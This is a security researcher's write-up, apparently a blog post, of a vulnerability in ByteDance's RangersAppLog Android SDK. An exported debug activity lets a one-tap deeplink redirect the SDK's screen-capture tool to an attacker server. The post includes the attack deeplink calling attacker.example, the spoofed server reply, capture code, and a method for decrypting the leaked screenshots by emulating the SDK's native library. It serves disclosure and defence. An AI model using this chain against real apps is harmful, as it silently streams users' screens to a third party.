Skip to content
← All research

A 1-click lead remote screen capture

Oct 16, 20267 min read

بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ

I was working on a crypto app, and it was using an SDK called RangersAppLog from ByteDance. I think it is related to TikTok, but they do not seem to maintain it anymore.

Entry Point

com.bytedance.applog.* is the analytics SDK, not app code. The class name, SimulateLaunchActivity, in the simulate package, with a path of /picker, reads like a QA/debug entry point. Those are exactly the components that get shipped in release builds by accident and never get a permission gate, because the developers assume no one can reach them.

<activity android:name="com.bytedance.applog.simulate.SimulateLaunchActivity"
          android:exported="true">
  <intent-filter>
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <category android:name="android.intent.category.BROWSABLE"/>
    <data android:scheme="rangersapplog.<appid>" android:host="rangersapplog" android:path="/picker"/>
  </intent-filter>
</activity>

What the component actually is

The SDK ships an in-app QA tool. Its own Chinese label in the resources is 圈选 / 埋点验证 — "circle-select / tracking verification". Its job: an analyst opens the SDK's web console, the console shows a QR code, the analyst scans it with the app, and from then on the app streams its screen to the console so the analyst can point at on-screen UI elements and attach analytics events to them.

A picture of the moving parts, recovered from the (packer-stripped, but string-bearing) dex plus the decompiled SDK:

Piece Role
SimulateLaunchActivity Entry point. Reads aid, url_prefix, qr_param, type from the deeplink.
a2 (an AsyncTask) "Simulator login" — POSTs device info to <url_prefix>/simulator/mobile/login and acts on the reply.
v.f0(String) startSimulator — reflectively constructs the picker.
DomSender The picker itself. Captures the screen + view tree, POSTs both to <url_prefix>/simulator/mobile/layout.
g1 The SDK's HTTP layer. One field holds the base URL — the field the deeplink overwrites.

The entire design rests on one assumption: url_prefix arrives from a QR code that an authenticated analyst is physically looking at. Nothing in the code enforces that assumption. The QR code is just a transport for a URL, and the deeplink carries the same URL directly.


Exploit Trace

onCreate reads the query parameters straight into static fields, with no validation of any of them:

String aid        = data.getQueryParameter("aid");          // which SDK instance to target
String url_prefix = data.getQueryParameter("url_prefix");   // <- the attacker's server, unvalidated
String type       = data.getQueryParameter("type");         // which branch to take (see step 4)

Step 2, the SDK's own server gets overwritten

The login task's constructor takes that url_prefix and writes it over the SDK's HTTP base URL. The legitimate default is ByteDance's own host (l4/g1.java L28, https://databyterangers.com.cn):

loginTask.httpLayer.baseUrl = SimulateLaunchActivity.url_prefix;

Step 3, the app asks the attacker's server for permission to start

The login task POSTs the device info to my server, at https://<url_prefix>/simulator/mobile/login, and then it acts on whatever I reply. The response is parsed as plain JSON, with no signature, no HMAC, and no origin check, and three fields decide everything:

int    status = json.optInt("status");
String msg    = json.optString("message");
String cook   = json.optString("Set-Cookie");
if (status == 0 && "OK".equals(msg)) {
    if ("debug_log".equals(type)) { v.e0(true, cook); return; }  // event verify branch
    v.f0(cook);                                                  // the picker branch
}

Step 4, the attacker's server responds with

{"status": 0, "message": "OK", "Set-Cookie": "anything"}

Step 5, it streams

v.f0 reflectively loads the SDK's capture class, DomSender, and starts it. From then on, for as long as the app is open, it grabs the whole screen and the full view tree and sends both to the base URL I overwrote in step 2, which now points at my server.

A full resolution screenshot of whatever is on screen, plus a labelled tree of every view, about every 1.4 seconds, with nothing on screen to show it is happening.

v.f0

void f0(String cook) {
    DomSender dom = new DomSender(this.session, cook);
    dom.start();
}

DomSender

class DomSender implements Runnable {
    void start() {
        handler.post(this);
    }

    public void run() {
        Bitmap    shot = captureDecorView(activity);
        JSONArray tree = walkViewTree(activity.getWindow().getDecorView());

        JSONObject payload = new JSONObject();
        payload.put("img", toWebpBase64(shot));
        payload.put("pages", tree);

        httpLayer.post(httpLayer.baseUrl + "/simulator/mobile/layout",
                       encrypt(payload.toString()));

        handler.postDelayed(this, 1400);
    }
}

Delivery is a one-tap web link

rangersapplog.<appid>://rangersapplog/picker?aid=<aid>&url_prefix=https://attacker.example&qr_param=x&type=bind_query

Part 2 the traffic is encrypted

The screenshots do not arrive as readable JSON. The app scrambles every one before sending, so on my server I first saw nothing but random looking bytes. To prove what is actually leaking, I had to unscramble them.

What one message looks like

Every message is three parts glued together, in this order:

[ 6-byte tag ]   [ 32-byte seed ]   [ AES-encrypted screenshot ]
  • the tag is a fixed marker that says "this is one of our messages" (12 39 20 20 02 03)
  • the seed is a random number
  • the last part is the real screenshot, locked with AES

To unlock AES you need a key. The app does not store a secret key anywhere. It calculates the key from the seed, using a small math function (a KDF):

seed (32 bytes)  ──►  KDF  ──►  key + iv      // these unlock the AES part

Why this protects nothing

The seed is sent in the clear, right next to the locked part, in the same message. So anyone who receives the message has the seed, runs the same KDF, gets the key, and unlocks it. There is no secret that only the real server knows. It is a locked box with the key taped to the lid, and I am now the one receiving the box.

The problem: the key math is hidden

The KDF is not in the app's Java code. It lives inside a native library the SDK ships, libEncryptorP.so, and that library is deliberately obfuscated so you cannot just read it

So I did not read it, I ran it. The app's own library already knows how to do the key math, so I let it do the work for me, on my server. The only snag is that it is an Android ARM library and will not run on a normal server by itself, so I ran it under an emulator (Unicorn), which fakes a phone CPU just enough for the library to run off a device.

I only had to find three functions in the library (the entry, the core unlock routine, and the KDF), hand the emulator a captured message, and read the plaintext back:

emu.load("libEncryptorP.so")                 # run the app's OWN .so, off-device
plain = emu.call(core, seed, ciphertext)      # let their code compute the key and unlock
json  = gunzip(plain[64:])                    # real screenshot JSON starts after a 64-byte prefix

The one catch

The key math pulls a number from the system rand(). For my emulated rand() to produce the same key as the phone, it had to behave exactly like Android's. Once I matched it (the same TYPE_3 algorithm the C library uses), the keys lined up byte for byte.

It worked on everything

Not a lucky one off. I ran every captured message through it: 1111 of 1111 decrypted, zero failures, across 919 different seeds. A wrong key gives garbage every time, so a clean 1111 out of 1111 is the proof. Each one came back as:

{"header": {"width":1080, "height":2400, "app_version":"..."},
 "img":    "<base64 WebP, a full-resolution screenshot>",
 "pages":  [ { "element_path":"...", "frame":{...}, "texts":["visible text"], "is_html":false } ]}